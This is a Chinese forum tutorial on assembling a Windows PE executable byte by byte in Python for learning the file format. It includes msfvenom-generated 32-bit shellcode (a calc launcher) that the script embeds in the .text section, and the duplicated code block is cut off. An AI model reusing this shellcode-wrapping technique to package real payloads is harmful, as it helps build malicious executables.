首页
社区
课程
招聘
[原创]用Python构建一个PE文件
发表于: 2021-5-8 20:23 8148

[原创]用Python构建一个PE文件

2021-5-8 20:23
8148

用Python生成一个PE文件,主要是为了学习PE格式,因为看很多红队工具的原理都要掌握这个,这篇文章主要是记录调试代码的过程。

主要使用的是Python3。

有关PE的文件结构描述,之前写过一个简短的对每个字段的描述

照着PE结构的描述,用Python实现了,PE格式每个字段都有对应的大小,用到了struct库。

一个简要的例子,因为Windows一般字符存储都是小端模式,所以用<标明,后面的字母代表将数值转换的大小

image-20210508194328681

然后用msf生成一个shellcode,到时候直接填入代码段

完整代码

这个是第一版本的代码,详细描述了PE文件的组装流程

我是直接对text字段填入了shellcode(32位),这样一个PE文件就组装好了。

但是生成出来的文件有几kb太大了。原因是文件的section需要字节对齐

SizeOfRawData 要和SectionAlignment对齐才行,就导致了体积膨胀,修改SectionAlignment的大小竟然就无法运行了。但是看到有其他的程序SectionAlignment是可以设置得很小的

后面无意间用lordPE进行修复PE,发现它自动PE大小缩小并且能够运行了。于是我对比了两个文件找到了原因。

text.SizeOfRawData是根据文件对齐的字段来对齐的,我用节对齐的字段对齐了。

第一个sizeofimage字段我设置的太小了(代码问题,我是根据文件的长度对齐section的)

修改SectionAlignment的大小竟然就无法运行了

这个的主要原因是sizeofimage设置得太小了

最后sizeOfImage修改为

上一个版本使用了shellcode执行命令,这个版本直接通过导入表来调用API

有一个坑,MessageBoxA需要ansi编码的字符串,MessageBoxW需要utf-16编码的字符串,而python3是utf-8编码,所以对字符串变量处理的时候要转换一下

x86 生成的文件1kb左右 (文件对齐默认是512,我尝试将它改小一些,但是会报错)

动画

因为是根据汇编生成的机器码来的,所以需要去寻找字符串和一些dll的内存地址。我将这部分自动化了。

importer代表要导入的dll和函数,ConstString 代表输入的字符串。这是text字段的代码

最后生成代码会自动对这些地址进行替换。

代码地址:学习pe,用python生成pe文件 (github.com)

32位的搞定了,再看看64位的,PE结构上的差异就几个地方。主要是header头和导入表,写一个新的结构进去就行。

然后x64 的调用约定和call的方式也不一样

x64调用约定

在32位汇编中,我们调用一个API时,采用的是stdcall,它有两个特点:一是所有参数入栈,通过椎栈传递;二是被调用的API负责栈指针(ESP)的恢复,我们在调用MessageBox后不用add esp,14h,因为MessageBox已经恢复过了。
而在x64汇编中,两方面都发生了变化。一是前四个参数分析通过四个寄存器传递:RCX、RDX、R8、R9,如果还有更多的参数,才通过椎栈传递。二是调用者负责椎栈空间的分配与回收。

x64 call偏移地址计算
内存地址-RIP-7=偏移地址

参考

代码地址(x64) https://gist.github.com/boy-hack/dbfef2a3eff6b7b00791f6a9714b8aea

将win64改成True就会生成64位的程序了

image-20210508201732354
代码完成了

 
 
 
 
$ msfvenom -a x86 -p windows/exec CMD="calc" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 189 bytes
Final size of python file: 932 bytes
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += b"\xff\xd5\x63\x61\x6c\x63\x00"
$ msfvenom -a x86 -p windows/exec CMD="calc" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 189 bytes
Final size of python file: 932 bytes
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += b"\xff\xd5\x63\x61\x6c\x63\x00"
# 学习pe的最好方法,就是自己写一个PE文件。这个例子展示了用python生成一个pe文件
import struct
import time
 
MZ_MAGIC = 0x5A4D
PE_MAGIC = 0x4550
IMAGE_FILE_MACHINE_I386 = 0x014c
 
IMAGE_SCN_MEM_EXECUTE = 0x20000000  # Section is executable.
IMAGE_SCN_MEM_READ = 0x40000000  # Section is readable.
IMAGE_SCN_MEM_WRITE = 0x80000000  # Section is writeable.
IMAGE_SCN_CNT_CODE = 0x00000020
IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040
 
 
class DOS_HEADER_32(object):
    '''
    DOS头只关心 magic 和 e_lfanew 位置就行
    '''
    e_magic = MZ_MAGIC
    e_cblp, e_cp, e_crlc, e_cparhdr, e_minalloc, e_maxalloc, e_ss, e_sp, \
    e_csum, e_ip, e_cs, e_lfarlc, e_ovno, e_res, e_oemid, \
    e_oeminfo, e_res2, e_lfanew = [0] * 18
 
    def __init__(self):
        self.fmt = "<30HL"
        # 小端模式 30个H(unsigned short 占2byte) 后一个是L(unsigned long 占 4byte)
 
        self.e_res = [0, 0, 0, 0]
        self.e_res2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
 
    def raw(self):
        return struct.pack(self.fmt, self.e_magic, self.e_cblp, self.e_cp,
                           self.e_crlc, self.e_cparhdr, self.e_minalloc,
                           self.e_maxalloc, self.e_ss, self.e_sp, self.e_csum,
                           self.e_ip, self.e_cs, self.e_lfarlc, self.e_ovno,
                           self.e_res[0], self.e_res[1], self.e_res[2], self.e_res[3],
                           self.e_oemid, self.e_oeminfo,
                           self.e_res2[0], self.e_res2[1], self.e_res2[2], self.e_res2[3],
                           self.e_res2[4], self.e_res2[5], self.e_res2[6], self.e_res2[7],
                           self.e_res2[8], self.e_res2[9], self.e_lfanew)
 
    # e_lfanew是文件偏移
    def getPEOffset(self):
        return self.e_lfanew
 
    def getSize(self):
        '''
        DOS头,SIZE:30*2+1*4=64
        :return:
        '''
        return struct.calcsize(self.fmt)
 
 
class IMAGE_NT_HEADER_32(object):
 
    def __init__(self):
        self.Signature = PE_MAGIC
        self.file_header = self.IMAGE_FILE_HEADER()
        self.optional_header = self.IMAGE_OPTIONAL_HEADER32()
 
    def getSize(self):
        '''
        PE文件头,SIZE:4+20+224=248
        :return:
        '''
        return 4 + self.file_header.getSize() + self.optional_header.getSize()
 
    def raw(self):
        return struct.pack("<L", self.Signature) + self.file_header.raw() + self.optional_header.raw()
 
    class IMAGE_FILE_HEADER:
        Machine, \
        NumberOfSections, \
        TimeDateStamp, \
        PointerToSymbolTable, \
        NumberOfSymbols, \
        SizeOfOptionalHeader, \
        Characteristics = IMAGE_FILE_MACHINE_I386, 0, 0, 0, 0, 0, 0
 
        def __init__(self):
            self.fmt = "<2H3L2H"
 
        def getSize(self):
            '''
            PE文件逻辑分布的信息,SIZE:2*2+3*4+2*2=20
            :return:
            '''
            return struct.calcsize(self.fmt)
 
        def raw(self):
            return struct.pack(self.fmt, self.Machine,
                               self.NumberOfSections,
                               self.TimeDateStamp,
                               self.PointerToSymbolTable,
                               self.NumberOfSymbols,
                               self.SizeOfOptionalHeader,
                               self.Characteristics)
 
    class IMAGE_OPTIONAL_HEADER32:
        Magic = 0x10b  # 32位为0x10B,64位为0x20B,ROM镜像为0x107
        MajorLinkerVersion = 0
        MinorLinkerVersion = 0
        SizeOfCode = 0  # 一般放在“.text”节里。如果有多个代码节的话,它是所有代码节的和。必须是FileAlignment的整数倍,是在文件里的大小。
        SizeOfInitializedData = 0
        SizeOfUninitializedData = 0
        AddressOfEntryPoint = 0  # 代码入口点的偏移量,RVA
        BaseOfCode = 0  # 代码基址,可执行代码的偏移值,RVA
        BaseOfData = 0  # 数据基址,已初始化数据的偏移值,RVA
        ImageBase = 0  # 程序默认装入基地址,提供整个二进制文件包括所有头的优先(线性)载入地址,RVA
        SectionAlignment = 0
        FileAlignment = 0
        MajorOperatingSystemVersion = 0
        MinorOperatingSystemVersion = 0
        MajorImageVersion = 0
        MinorImageVersion = 0
        MajorSubsystemVersion = 4
        MinorSubsystemVersion = 0
        Win32VersionValue = 0
        SizeOfImage = 0  # 内存中整个PE映像体的尺寸。它是所有头和节经过节对齐处理后的大小。
        SizeOfHeaders = 0  # DOS头、PE头、区块表的总大小,也就等于文件尺寸减去文件中所有节的尺寸。可以以此值作为PE文件第一节的文件偏移量。
        CheckSum = 0  # 映像效验和
        Subsystem = 2  # 文件子系统,NT用来识别PE文件属于哪个子系统。 对于大多数Win32程序,只有两类值: Windows GUI 和Windows CUI (控制台)。
        DllCharacteristics = 0
        SizeOfStackReserve = 0
        SizeOfStackCommit = 0
        SizeOfHeapReserve = 0
        SizeOfHeapCommit = 0
        LoaderFlags = 0
        NumberOfRvaAndSizes = 0x10  # 指定DataDirectory的数组个数,由于以前发行的Windows NT的原因,它只能为16。 -> 00 00 00 10
        DATA_DIRECTORY = []
 
        def __init__(self):
            self.fmt = "<HBB9L6H4L2H6L"
 
        def getSize(self):
            '''
            SIZE:19*4+9*2+2*1+16*8=224
            :return:
            '''
            selfsize = struct.calcsize(self.fmt)
            for image_data in self.DATA_DIRECTORY:
                selfsize += image_data.getSize()
            return selfsize
 
        def raw(self):
            selfdata = struct.pack(self.fmt, self.Magic,
                                   self.MajorLinkerVersion,
                                   self.MinorLinkerVersion,
                                   self.SizeOfCode,
                                   self.SizeOfInitializedData,
                                   self.SizeOfUninitializedData,
                                   self.AddressOfEntryPoint,
                                   self.BaseOfCode,
                                   self.BaseOfData,
                                   self.ImageBase,
                                   self.SectionAlignment,
                                   self.FileAlignment,
                                   self.MajorOperatingSystemVersion,
                                   self.MinorOperatingSystemVersion,
                                   self.MajorImageVersion,
                                   self.MinorImageVersion,
                                   self.MajorSubsystemVersion,
                                   self.MinorSubsystemVersion,
                                   self.Win32VersionValue,
                                   self.SizeOfImage,
                                   self.SizeOfHeaders,
                                   self.CheckSum,
                                   self.Subsystem,
                                   self.DllCharacteristics,
                                   self.SizeOfStackReserve,
                                   self.SizeOfStackCommit,
                                   self.SizeOfHeapReserve,
                                   self.SizeOfHeapCommit,
                                   self.LoaderFlags,
                                   self.NumberOfRvaAndSizes)
            for image_data in self.DATA_DIRECTORY:
                selfdata += image_data.raw()
            return selfdata
 
    class IMAGE_DATA_DIRECTORY:
        VirtualAddress = 0
        Size = 0
 
        def __init__(self):
            pass
 
        def raw(self):
            return struct.pack("<2L", self.VirtualAddress, self.Size)
 
        def getSize(self):
            return 0x4 * 2
 
 
class Section:
    def __init__(self):
        self.fmt = "<LLLLLLHHL"
        self.Name = ""
        self.VirtualSize = self.VirtualAddress = self.SizeOfRawData = self.PointerToRawData = \
            self.PointerToRelocations = self.PointerToLinenumbers = \
            self.NumberOfRelocations = self.NumberOfLinenumbers = \
            self.Characteristics = 0
        # VirtualSize 被实际使用的区块大小,也可是PhysicalAddress,在可执行文件中,它是内容的大小.在目标文件中,它是内容重定位到的地址;
        # VirtualAddress 区块的RAV地址(相对虚拟地址)。,节中数据的RVA。
        # SizeOfRawData 该块在磁盘中所占的大小,原始数据大小,经过文件对齐处理后节尺寸,PE装载器提取本域值了解需映射入内存的节字节数
        # PointerToRawData 该块在磁盘文件中的偏移,文件偏移,这是节基于文件的偏移量,PE装载器通过本域值找到节数据在文件中的位置。
 
    def getSize(self):
        return struct.calcsize(self.fmt) + 8
 
    def has(self, rva, imagebase=0):
        return (self.VirtualAddress + imagebase) <= rva < (self.VirtualAddress + self.VirtualSize + imagebase)
 
    def hasOffset(self, offset):
        return self.PointerToRawData <= offset < (self.PointerToRawData + self.VirtualSize)
 
    def raw(self):
        self.Name = (self.Name + "\x00" * (8 - len(self.Name)))[:8]
        return self.Name.encode() + struct.pack(self.fmt, self.VirtualSize,
                                                self.VirtualAddress, self.SizeOfRawData, self.PointerToRawData,
                                                self.PointerToRelocations, self.PointerToLinenumbers,
                                                self.NumberOfRelocations, self.NumberOfLinenumbers,
                                                self.Characteristics)
 
 
class ImportDescriptor:
    def __init__(self):
        self.fmt = "<LLLLL"
        self.OriginalFirstThunk = self.TimeDateStamp = self.ForwarderChain = self.Name = \
            self.FirstThunk = 0
 
    def raw(self):
        return struct.pack(self.fmt, self.OriginalFirstThunk, self.TimeDateStamp, self.ForwarderChain, self.Name, \
                           self.FirstThunk)
 
    def getSize(self):
        return struct.calcsize(self.fmt)
 
 
# typedef struct _IMAGE_THUNK_DATA32 {
#     union {
#         DWORD ForwarderString;      // PBYTE
#         DWORD Function;             // PDWORD
#         DWORD Ordinal;
#         DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
#     } u1;
# } IMAGE_THUNK_DATA32;
class ImageThunkData32:
    Function = 0
 
    def getSize(self):
        return 4
 
    def raw(self):
        return struct.pack("<L", self.Function)
 
 
class ImageImportByName:
    def __init__(self):
        self.fmt = "<H"
        self.Hint = 0
        self.Name = ""
 
    def getSize(self):
        size = len(self.Name) + 3  # 1 for \0 + 2 for Hint
        if size % 2:
            size += 1  # Padding
        return size
 
    def raw(self):
        raw = struct.pack(self.fmt, self.Hint) + self.Name.encode() + b"\x00"
        if len(raw) % 2:
            raw += "\0"  # padding
        return raw
 
 
def align(idx, aligment):
    return (idx + aligment) & ~(aligment - 1)
 
 
def dword(v):
    return struct.pack("<L", v)
 
 
if __name__ == '__main__':
 
    length = 0
    mz = DOS_HEADER_32()
    mz.e_lfanew = mz.getSize()
    length += mz.getSize()
    # 设置pe头入口
 
    pe = IMAGE_NT_HEADER_32()
    pe.file_header.NumberOfSections = 1  # section数量
    pe.file_header.TimeDateStamp = int(time.time())
 
    pe.file_header.Characteristics = 1 + 2 + 4 + 256
    # refer https://blog.csdn.net/qiming_zhang/article/details/7309909#3.2.2
 
    pe.optional_header.AddressOfEntryPoint = 0x1000
    pe.optional_header.ImageBase = 0x400000
    pe.optional_header.SectionAlignment = 0x1000
    pe.optional_header.FileAlignment = 0x200
    for i in range(pe.optional_header.NumberOfRvaAndSizes):
        pe.optional_header.DATA_DIRECTORY.append(pe.IMAGE_DATA_DIRECTORY())
    pe.file_header.SizeOfOptionalHeader = pe.optional_header.getSize()
    length += pe.getSize()
 
    # .text section
    text = Section()
    text.Name = ".text"
    text.Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE
 
    text.VirtualAddress = 0x1000
    # .rdataracteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ
 
    length += text.getSize()
    # pading
    pe.optional_header.SizeOfHeaders = align(length, pe.optional_header.FileAlignment)
    padding = (pe.optional_header.SizeOfHeaders - length) * b'\x00'
    length = pe.optional_header.SizeOfHeaders
 
    # 写入text代码
    buf = b""
    buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
    buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
    buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
    buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
    buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
    buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
    buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
    buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
    buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
    buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
    buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
    buf += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
    buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
    buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
    buf += b"\xff\xd5\x63\x61\x6c\x63\x00"
    section_text = buf
 
    text.VirtualSize = len(section_text)
    text.SizeOfRawData = align(text.VirtualSize, pe.optional_header.SectionAlignment)
    text.PointerToRawData = length
    section_text += b"\x00" * (text.SizeOfRawData - len(section_text))
    length += len(section_text)
    # 最后数据的完善
    pe.optional_header.SizeOfImage = align(length,
                                           pe.optional_header.SectionAlignment)  # // Image大小,内存中整个PE文件的映射的尺寸,可比实际的值大,必须是SectionAlignment的整数倍
 
    # 生成二进制
    code = b""
    code += mz.raw()
    code += pe.raw()
    # 生成section代码
    code += text.raw()
    code += padding
    # 生成每个section具体代码
    code += section_text
 
    print(code)
    with open("test.exe", "wb") as f:
        f.write(code)
# 学习pe的最好方法,就是自己写一个PE文件。这个例子展示了用python生成一个pe文件
import struct
import time
 
MZ_MAGIC = 0x5A4D
PE_MAGIC = 0x4550
IMAGE_FILE_MACHINE_I386 = 0x014c
 
IMAGE_SCN_MEM_EXECUTE = 0x20000000  # Section is executable.
IMAGE_SCN_MEM_READ = 0x40000000  # Section is readable.
IMAGE_SCN_MEM_WRITE = 0x80000000  # Section is writeable.
IMAGE_SCN_CNT_CODE = 0x00000020
IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040
 
 
class DOS_HEADER_32(object):
    '''
    DOS头只关心 magic 和 e_lfanew 位置就行
    '''
    e_magic = MZ_MAGIC
    e_cblp, e_cp, e_crlc, e_cparhdr, e_minalloc, e_maxalloc, e_ss, e_sp, \
    e_csum, e_ip, e_cs, e_lfarlc, e_ovno, e_res, e_oemid, \
    e_oeminfo, e_res2, e_lfanew = [0] * 18
 
    def __init__(self):
        self.fmt = "<30HL"
        # 小端模式 30个H(unsigned short 占2byte) 后一个是L(unsigned long 占 4byte)
 
        self.e_res = [0, 0, 0, 0]
        self.e_res2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
 
    def raw(self):
        return struct.pack(self.fmt, self.e_magic, self.e_cblp, self.e_cp,
                           self.e_crlc, self.e_cparhdr, self.e_minalloc,
                           self.e_maxalloc, self.e_ss, self.e_sp, self.e_csum,
                           self.e_ip, self.e_cs, self.e_lfarlc, self.e_ovno,
                           self.e_res[0], self.e_res[1], self.e_res[2], self.e_res[3],
                           self.e_oemid, self.e_oeminfo,
                           self.e_res2[0], self.e_res2[1], self.e_res2[2], self.e_res2[3],
                           self.e_res2[4], self.e_res2[5], self.e_res2[6], self.e_res2[7],
                           self.e_res2[8], self.e_res2[9], self.e_lfanew)
 
    # e_lfanew是文件偏移
    def getPEOffset(self):
        return self.e_lfanew
 
    def getSize(self):
        '''
        DOS头,SIZE:30*2+1*4=64
        :return:
        '''
        return struct.calcsize(self.fmt)
 
 
class IMAGE_NT_HEADER_32(object):
 
    def __init__(self):
        self.Signature = PE_MAGIC
        self.file_header = self.IMAGE_FILE_HEADER()
        self.optional_header = self.IMAGE_OPTIONAL_HEADER32()
 
    def getSize(self):
        '''
        PE文件头,SIZE:4+20+224=248
        :return:
        '''
        return 4 + self.file_header.getSize() + self.optional_header.getSize()
 
    def raw(self):
        return struct.pack("<L", self.Signature) + self.file_header.raw() + self.optional_header.raw()
 
    class IMAGE_FILE_HEADER:
        Machine, \
        NumberOfSections, \
        TimeDateStamp, \
        PointerToSymbolTable, \
        NumberOfSymbols, \
        SizeOfOptionalHeader, \
        Characteristics = IMAGE_FILE_MACHINE_I386, 0, 0, 0, 0, 0, 0
 
        def __init__(self):
            self.fmt = "<2H3L2H"
 
        def getSize(self):
            '''
            PE文件逻辑分布的信息,SIZE:2*2+3*4+2*2=20
            :return:
            '''
            return struct.calcsize(self.fmt)
 
        def raw(self):
            return struct.pack(self.fmt, self.Machine,
                               self.NumberOfSections,
                               self.TimeDateStamp,
                               self.PointerToSymbolTable,
                               self.NumberOfSymbols,
                               self.SizeOfOptionalHeader,
                               self.Characteristics)
 
    class IMAGE_OPTIONAL_HEADER32:
        Magic = 0x10b  # 32位为0x10B,64位为0x20B,ROM镜像为0x107
        MajorLinkerVersion = 0
        MinorLinkerVersion = 0
        SizeOfCode = 0  # 一般放在“.text”节里。如果有多个代码节的话,它是所有代码节的和。必须是FileAlignment的整数倍,是在文件里的大小。
        SizeOfInitializedData = 0
        SizeOfUninitializedData = 0
        AddressOfEntryPoint = 0  # 代码入口点的偏移量,RVA
        BaseOfCode = 0  # 代码基址,可执行代码的偏移值,RVA
        BaseOfData = 0  # 数据基址,已初始化数据的偏移值,RVA
        ImageBase = 0  # 程序默认装入基地址,提供整个二进制文件包括所有头的优先(线性)载入地址,RVA
        SectionAlignment = 0
        FileAlignment = 0
        MajorOperatingSystemVersion = 0
        MinorOperatingSystemVersion = 0
        MajorImageVersion = 0
        MinorImageVersion = 0
        MajorSubsystemVersion = 4
        MinorSubsystemVersion = 0
        Win32VersionValue = 0
        SizeOfImage = 0  # 内存中整个PE映像体的尺寸。它是所有头和节经过节对齐处理后的大小。
        SizeOfHeaders = 0  # DOS头、PE头、区块表的总大小,也就等于文件尺寸减去文件中所有节的尺寸。可以以此值作为PE文件第一节的文件偏移量。
        CheckSum = 0  # 映像效验和
        Subsystem = 2  # 文件子系统,NT用来识别PE文件属于哪个子系统。 对于大多数Win32程序,只有两类值: Windows GUI 和Windows CUI (控制台)。
        DllCharacteristics = 0
        SizeOfStackReserve = 0
        SizeOfStackCommit = 0
        SizeOfHeapReserve = 0
        SizeOfHeapCommit = 0
        LoaderFlags = 0
        NumberOfRvaAndSizes = 0x10  # 指定DataDirectory的数组个数,由于以前发行的Windows NT的原因,它只能为16。 -> 00 00 00 10
        DATA_DIRECTORY = []
 
        def __init__(self):
            self.fmt = "<HBB9L6H4L2H6L"
 
        def getSize(self):
            '''
            SIZE:19*4+9*2+2*1+16*8=224
            :return:
            '''
            selfsize = struct.calcsize(self.fmt)
            for image_data in self.DATA_DIRECTORY:
                selfsize += image_data.getSize()
            return selfsize
 
        def raw(self):
            selfdata = struct.pack(self.fmt, self.Magic,
                                   self.MajorLinkerVersion,
                                   self.MinorLinkerVersion,
                                   self.SizeOfCode,
                                   self.SizeOfInitializedData,
                                   self.SizeOfUninitializedData,
                                   self.AddressOfEntryPoint,
                                   self.BaseOfCode,
                                   self.BaseOfData,
                                   self.ImageBase,
                                   self.SectionAlignment,
                                   self.FileAlignment,
                                   self.MajorOperatingSystemVersion,
                                   self.MinorOperatingSystemVersion,
                                   self.MajorImageVersion,
                                   self.MinorImageVersion,
                                   self.MajorSubsystemVersion,
                                   self.MinorSubsystemVersion,
                                   self.Win32VersionValue,
                                   self.SizeOfImage,
                                   self.SizeOfHeaders,
                                   self.CheckSum,
                                   self.Subsystem,
                                   self.DllCharacteristics,
                                   self.SizeOfStackReserve,
                                   self.SizeOfStackCommit,
                                   self.SizeOfHeapReserve,
                                   self.SizeOfHeapCommit,
                                   self.LoaderFlags,
                                   self.NumberOfRvaAndSizes)
            for image_data in self.DATA_DIRECTORY:
                selfdata += image_data.raw()
            return selfdata
 
    class IMAGE_DATA_DIRECTORY:
        VirtualAddress = 0
        Size = 0
 
        def __init__(self):
            pass
 
        def raw(self):
            return struct.pack("<2L", self.VirtualAddress, self.Size)
 
        def getSize(self):
            return 0x4 * 2
 
 
class Section:
    def __init__(self):
        self.fmt = "<LLLLLLHHL"
        self.Name = ""
        self.VirtualSize = self.VirtualAddress = self.SizeOfRawData = self.PointerToRawData = \
            self.PointerToRelocations = self.PointerToLinenumbers = \
            self.NumberOfRelocations = self.NumberOfLinenumbers = \
            self.Characteristics = 0
        # VirtualSize 被实际使用的区块大小,也可是PhysicalAddress,在可执行文件中,它是内容的大小.在目标文件中,它是内容重定位到的地址;
        # VirtualAddress 区块的RAV地址(相对虚拟地址)。,节中数据的RVA。
        # SizeOfRawData 该块在磁盘中所占的大小,原始数据大小,经过文件对齐处理后节尺寸,PE装载器提取本域值了解需映射入内存的节字节数
        # PointerToRawData 该块在磁盘文件中的偏移,文件偏移,这是节基于文件的偏移量,PE装载器通过本域值找到节数据在文件中的位置。
 
    def getSize(self):
        return struct.calcsize(self.fmt) + 8
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-5-8 20:30 被wx_qauzkvtj编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错,谢谢分享
2021-5-9 07:14
0
游客
登录 | 注册 方可回帖
返回
//